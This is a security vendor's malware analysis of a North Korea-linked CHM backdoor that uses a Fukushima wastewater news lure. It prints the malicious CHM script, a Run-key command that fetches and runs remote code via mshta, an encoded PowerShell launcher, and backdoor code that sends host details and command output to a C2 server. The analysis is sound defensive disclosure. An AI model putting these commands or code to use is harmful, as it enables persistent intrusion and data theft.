asec.ahnlab.com /en/56857/

# RedEyes (ScarCruft)'s CHM Malware Using the Topic of Fukushima Wastewater Release

By gygy0101 :: 9/8/2023



The AhnLab Security Emergency response Center (ASEC) analysis team has recently discovered that the CHM malware, which is assumed to have been created by the RedEyes threat group, is being distributed again. The CHM malware in distribution operates in a similar way to the "CHM Malware Disguised as Security Email from a Korean Financial Company"[1] covered in March of this year and also uses the same commands used in the "2.3. Persistence"[2] stage in the attack process of the RedEyes group's M2RAT malware'.

The recent attack used information regarding the release of Fukushima wastewater. By using such a spotlight issue in Korea, the threat actor provokes the user's curiosity and leads them to open the malicious file. Information about this issue can be seen in the help file window generated when the CHM malware is executed, as shown in Figure 1.

광도움말		
101 (고 문 문 문 문 문 문 문 문 문 문 문 문 문 문 문 문 문 문	》 <b>[1]-</b> 새 옵션(Q)	
Aain Main	일본의 후쿠시마 오염수 방류에도 불구하고, 극단적인 '노재팬' 운동은 나타나지 않고 있다. 2019년의 '노노재팬' 캠페인은 일본의 무역 보복에 반응해 생긴 운동으로, 일본 제품을 완전 피하자는 움직임이 컸다. 그러나 현재 상황은 그와는 다르게 보인다. 과거 소비자와 판매자 두에게 외면받던 일본 맥주는 없어서 못살 정도다.	
	30일 GS리테일이 운영하는 편의점 GS25에 따르면 최근 일주일(22~28일)간 일본 맥주 판매 전월 동기 대비 35% 증가했다. 이는 수입 맥주가 1.2% 감소한 것과는 대조적인 수치다. CU 상황도 비슷했다. 일본 맥주 판매량은 전월 동기 대비 13% 넘게 늘어난 데 반해 수입 맥주의 경우 한 자릿수 대 성장에 그쳤다. 편의점에 방문해 수입 맥주보다 일본 맥주를 찾는 소비자 더 많았다는 의미다. 이마트24는 전월 대비 4%대 신장률을 보였는데, 두 달 전(6월 20~26일 으로 기간을 넓혀보면 관련 매출이 220%가량 폭증한 것으로 집계됐다.	
	지난 24일 일본이 후쿠시마 오염수 방류를 개시하면서 일본산 제품에 대한 불신이 불매로 연 결될 것이란 의견이 많았지만, 소비자들의 선택은 달랐다. 개봉 시 크림 거품이 풍성하게 올 오는 '아사히 수퍼 드라이' 생맥주가 5월 국내에 선보인 이후 품절 대란을 이어가는 등 일본 주 수요에 불을 붙인 것이 판매량을 끌어올린 것이다. 아사히 수퍼 드라이 생맥주는 편의점( 입고되는 즉시 모조리 팔려나가고 있다는 것이 편의점 업계 관계자들의 공통된 목소리다. 편 의점 별로 차이가 있지만, 발주 수량도 점포당 20개 내외로 제한되고 있다.	
	대형마트 상황도 비슷하다. 수입 맥주를 찾는 소비자들은 정체됐지만, 롯데마트의 일본 맥격 신장률은 전월 대비 5%, 두 달 전 대비로는 20%가량 증가했다. 한 유통업계 관계자는 "아사 수퍼 드라이가 없으면 다른 일본 맥주라도 사서 먹겠다는 소비자들이 많아지면서 1년 전 대 로 하면 판매량은 수백 퍼센트나 뛰었다"며 "후쿠시마 오염수 방류 영향은 없다고 봐야 한 다"고 말했다.	
	후쿠시마 오염수 방류가 일본산 제품에 대한 소비를 위축시킬 것이란 주장엔 동력이 떨어지 모양새다. 야당을 중심으로 한 정치권에선 오염수 방류를 노재팬 운동으로 연결하려는 움직 이 있었지만, 소비자들의 달라진 성향 탓에 화력이 생각보다 약하다는 분석이다. 이은희 인형 대 소비자학과 교수는 "광우병 파동과 일본 불매운동을 학습한 소비자들은 각자 판단을 통해 소비 여부를 결정할 것"이라며 "정치적 문제와 소비를 연결하려는 것에 대해서도 불편함을 끼는 소비자들도 많아 가열찬 불매운동이 전개되긴 어렵다"고 말했다.	

Figure 1. CHM malware containing information regarding the Fukushima wastewater release

Figure 2 shows the malicious script that operates during this process. The mshta command used to be executed directly by the CHM file (hh.exe), but the recently distributed file registers the command to the RUN key enabling it to be run when the system reboots.

```
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=',cmd.exe, /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v fGZt;
REG_SZ /d "c:\windows\system32\cmd.exe /c Powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep b;
ping -n 1 -w 391763 2.2.2.2 || mshta http://navercorp.ru/dashboard/image/202302/4.html" /f'>
<PARAM name="Item2" value="273,1,1">
</OBJECT>
</Script>
x.Click();
</SCRIPT>
```

Figure 2. Malicious script within the CHM

## • RUN key registration

Registry path: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Value name: fGZtm

Value: c:\windows\system32\cmd.exe /c Powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass ping -n 1 -w 391763 2.2.2.2 || mshta hxxp://navercorp[.]ru/dashboard/image/202302/4.html

When the command registered to the RUN key is executed, an additional script at a certain URL runs through mshta. The said URL contains a JavaScript (JS) code. This code is responsible for executing an encoded PowerShell command. This process is similar in structure to the commands used in the attack process of previously covered CHM malware and M2RAT malware.

```
<HTML>
    <meta http-equiv = "Content_Type" content = "text/html; oharset=utf-8">
        <HEAD>
        <Script language="JScript">
        window.moveTo(40170, 40170);
        var ChpbiKBeJlBIq = new ActiveXObject("Shell.Application");
var RbarRDeFnUfuth = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe";
ChpbiKBeJlBIq.ShellExecute(RbarRDeFnUfuth,"-windowstyle hidden -ep bypass -ec UwB0AGEAcgB0AC0AUwBsAGUAZQBw;
        self.close();
        </HEAD>
        <//HEAD>
        <//HEAD>
```

Figure 3. 4.html code

The decoded PowerShell command is a backdoor responsible for registering the RUN key to establish persistence, receiving commands from the threat actor's server, and transmitting the command execution results. It receives commands from the threat actor's server, and according to the commands, can perform various malicious behaviors such as uploading/downloading files, transmitting information on specific files, and editing the registry.

- C2
  - hxxp://navercorp[.]ru/dashboard/image/202302/com.php?U=[Computer name]-[User name] // Receive the threat actor's command
  - hxxp://navercorp[.]ru/dashboard/image/202302/com.php?R=[BASE64 encoding] // Transmit the command execution results

```
Start - Sleep - Seconds 68;
V_{sVmaDj} = 1024 * 1024;
$xwbpymdUWNs = $env: COMPUTERNAME + '-' + $env: USERNAME;
$HZgqfBKX = 'http://navercorp.ru/dashboard/image/202302/com.php' + '?U=' + $xwbpymdUWNs;
$aVNxadCxmtEQFa = $env: TEMP + '\jXShAegMEWMw';
if (!(Test - Path $aVNxadCxmtEQFa)) {
    New - ItemProperty - Path HKCU: \Software\ Microsoft\ Windows\ CurrentVersion\ Run - Name fGZtM - Value
    'c:\windows\system32\cmd.exe /c PowerShell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass ]
    1 -w 391763 2.2.2.2 || mshta http://navercorp.ru/dashboard/image/202302/4.html' - PropertyType String
function XaNsYJbXjTn($CzrH, $jdWV) {
    $IJbNgpRgULETD = [System.Text.Encoding]::UTF8.GetBytes($jdWV);
    [System.Net.HttpWebRequest] $VftYZH = [System.Net.WebRequest]::Create($CzrH);
    $VftYZH.Method = 'POST';
    $VftYZH.ContentType = 'application/x-www-form-urlencoded';
    $VftYZH.ContentLength = $IJbNgpRgULETD.Length;
    $aVNxadCxmtEQFaU = $VftYZH.GetRequestStream();
    $aVNxadCxmtEQFaU.Write($IJbNgpRgULETD, 0, $IJbNgpRgULETD.Length);
    $aVNxadCxmtEQFaU.Flush();
    $aVNxadCxmtEQFaU.Close();
    [System.Net.HttpWebResponse] $RKcl = $VftYZH.GetResponse();
    $DycD = New - Object System.IO.StreamReader($RKcl.GetResponseStream());
    $aVNxadCxmtEQFaULT = $DycD.ReadToEnd();
    return $aVNxadCxmtEQFaULT;
```





Figure 5. Receiving commands

## **Command Feature**

fileinfo	Saves the list of files and their properties (name, size, last modified time) in a certain path as CSV, transmits this file to the C2 server, then deletes it from the local system
dir	Compresses folders in a certain path, transmits them to the C2 server, then deletes them from the local system
file	Sends (uploads) a certain file to the C2 server
down	Downloads files in a certain path
regedit	Edits the registry
task	Adds a task to the Task Scheduler to be repetitively run at 10-minute intervals
zip	Decompresses a compressed file in a certain path
rename	Changes the name of a certain file
del	Delete files in a certain path
Table 1. List	of commands received

When a system is infected with this type of malware, the system can suffer great damage since this malware is capable of performing various malicious acts such as downloading additional files and breaching data according to the threat actor's commands. In particular, malware that targets users in Korea may include information on topics of interest to the user to encourage them to execute the malware, so users should refrain from opening emails from unknown sources and should not execute their attachments. Users should also regularly scan their PCs and update their security products to the latest engine.

#### [File Detection]

Downloader/CHM.Generic (2023.09.02.00)

#### [IOC]

52f71fadf0ea5ffacd753e83a3d0af1a hxxp://navercorp[.]ru/dashboard/image/202302/4.html hxxp://navercorp[.]ru/dashboard/image/202302/com.php